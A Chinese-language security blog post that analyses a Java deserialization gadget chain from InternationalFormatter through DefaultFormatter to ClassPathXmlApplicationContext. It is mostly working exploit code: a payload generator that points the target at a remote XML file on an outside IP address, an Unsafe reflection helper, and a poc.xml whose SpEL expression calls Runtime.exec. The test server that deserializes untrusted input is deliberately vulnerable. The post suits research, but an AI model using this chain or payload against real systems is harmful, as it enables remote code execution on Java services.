链尾来自于avss geekcon2024的old log,查找到一个链子去通往他,但是实例化成功了,无法查遍了Format都无法控制参数,于是手动patch了一个继承Format类使他的parseObject可控。
用codeql查询到漏洞利用链的过程就省略了
有反序列化,有springboot的jar包
测试环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import com.sun.net.httpserver.HttpServer;import javax.naming.InitialContext;import java.io.IOException;public class Main { public static void main (String[] args) throws IOException { var port = Integer.parseInt(System.getenv().getOrDefault("PORT" , "8000" )); var server = HttpServer.create(new java .net.InetSocketAddress(port), 0 ); server.createContext("/" , req -> { var code = 200 ; var response = switch (req.getRequestURI().getPath()) { case "/der" -> { try { var param = req.getRequestURI().getQuery(); yield new java .io.ObjectInputStream(new java .io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString(); } catch (Throwable e) { e.printStackTrace(); yield ":(" ; } } default -> { code = 404 ; yield "Not found" ; } }; req.sendResponseHeaders(code, 0 ); var os = req.getResponseBody(); os.write(response.getBytes()); os.close(); }); server.start(); System.out.printf("Server listening on :%s\n" , port); } }
其中我加了一个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.n1ght;import java.text.FieldPosition;import java.text.Format;import java.text.ParsePosition;public class StringFormat extends Format { private String str; public StringFormat (String str) { this .str = str; } public StringBuffer format (Object obj, StringBuffer toAppendTo, FieldPosition pos) { return (StringBuffer)obj; } public Object parseObject (String source, ParsePosition pos) { pos.setIndex(1 ); return source; } }
当parseObject的时候返回任意字符串的值
链子分析 InternationalFormatter#readObject
1 2 3 4 5 6 @Serial private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); updateMaskIfNecessary(); }
调用了一个updateMaskIfNecessary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void updateMaskIfNecessary () { if (!getAllowsInvalid() && (getFormat() != null )) { if (!isValidMask()) { updateMask(); } else { String newString = getFormattedTextField().getText(); if (!newString.equals(string)) { updateMask(); } } } }
又调用了updateMask
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 void updateMask () { if (getFormat() != null ) { Document doc = getFormattedTextField().getDocument(); validMask = false ; if (doc != null ) { try { string = doc.getText(0 , doc.getLength()); } catch (BadLocationException ble) { string = null ; } if (string != null ) { try { Object value = stringToValue(string); AttributedCharacterIterator iterator = getFormat(). formatToCharacterIterator(value); updateMask(iterator); } catch (ParseException pe) {} catch (IllegalArgumentException iae) {} catch (NullPointerException npe) {} } } } }
发现调用了Object value = stringToValue(string);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public Object stringToValue (String text) throws ParseException { Object value = stringToValue(text, getFormat()); if (value != null && getValueClass() != null && !getValueClass().isInstance(value)) { value = super .stringToValue(value.toString()); } try { if (!isValidValue(value, true )) { throw new ParseException ("Value not within min/max range" , 0 ); } } catch (ClassCastException cce) { throw new ParseException ("Class cast exception comparing values: " + cce, 0 ); } return value; }
这时候发现调用到DefaultFormatter#stringToValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object stringToValue (String string) throws ParseException { Class<?> vc = getValueClass(); JFormattedTextField ftf = getFormattedTextField(); if (vc == null && ftf != null ) { Object value = ftf.getValue(); if (value != null ) { vc = value.getClass(); } } if (vc != null ) { Constructor<?> cons; try { ReflectUtil.checkPackageAccess(vc); SwingUtilities2.checkAccess(vc.getModifiers()); cons = vc.getConstructor(new Class <?>[]{String.class}); } catch (NoSuchMethodException nsme) { cons = null ; } if (cons != null ) { try { SwingUtilities2.checkAccess(cons.getModifiers()); return cons.newInstance(new Object [] { string }); } catch (Throwable ex) { throw new ParseException ("Error creating instance" , 0 ); } } } return string; }
会进行一个任意类实例化
即可ClassPathXmlApplicationContext
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package com.n1ght.src;import com.n1ght.StringFormat;import org.springframework.context.support.ClassPathXmlApplicationContext;import javax.swing.*;import javax.swing.text.DefaultFormatter;import javax.swing.text.InternationalFormatter;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;public class Test { public static void main (String[] args) throws Exception{ InternationalFormatter internationalFormatter = new InternationalFormatter (); DefaultFormatter defaultFormatter = new DefaultFormatter (); defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class); JFormattedTextField jFormattedTextField = new JFormattedTextField (defaultFormatter); jFormattedTextField.setValue("http://112.124.59.213/poc.xml" ); StringFormat aaa = new StringFormat ("{0}" ); internationalFormatter.setFormat(aaa); UnSafeTools.setObject(internationalFormatter, JFormattedTextField.AbstractFormatter.class.getDeclaredField("ftf" ), jFormattedTextField); UnSafeTools.setObject(internationalFormatter, DefaultFormatter.class.getDeclaredField("allowsInvalid" ), false ); UnSafeTools.setObject(internationalFormatter, InternationalFormatter.class.getDeclaredField("validMask" ), true ); UnSafeTools.setObject(internationalFormatter, DefaultFormatter.class.getDeclaredField("valueClass" ), ClassPathXmlApplicationContext.class); internationalFormatter.setAllowsInvalid(false ); ByteArrayOutputStream bao = new ByteArrayOutputStream (); new ObjectOutputStream (bao).writeObject(internationalFormatter); System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray())); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bao.toByteArray()); new ObjectInputStream (byteArrayInputStream).readObject(); } }
UnsafeTools
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package com.n1ght.src;import java.lang.reflect.Field;import java.lang.reflect.Method;import sun.misc.Unsafe;public class UnSafeTools { static Unsafe unsafe; public UnSafeTools () { } public static Unsafe getUnsafe () throws Exception { Field field = Unsafe.class.getDeclaredField("theUnsafe" ); field.setAccessible(true ); unsafe = (Unsafe)field.get((Object)null ); return unsafe; } public static void setObject (Object o, Field field, Object value) { unsafe.putObject(o, unsafe.objectFieldOffset(field), value); } public static Object newClass (Class c) throws InstantiationException { Object o = unsafe.allocateInstance(c); return o; } public static void bypassModule (Class src, Class dst) throws Exception { Unsafe unsafe = getUnsafe(); Method getModule = dst.getDeclaredMethod("getModule" ); getModule.setAccessible(true ); Object module = getModule.invoke(dst); long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.getAndSetObject(src, addr, module ); } static { try { Field field = Unsafe.class.getDeclaredField("theUnsafe" ); field.setAccessible(true ); unsafe = (Unsafe)field.get((Object)null ); } catch (Exception var1) { System.out.println("Error: " + var1); } } }
poc.xml
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" ><bean id ="data" class ="java.lang.String" > <constructor-arg > <value > PAYLOAD</value > </constructor-arg > </bean > <bean class ="#{T(java.lang.Runtime).getRuntime().exec('command')}" > </bean > </beans >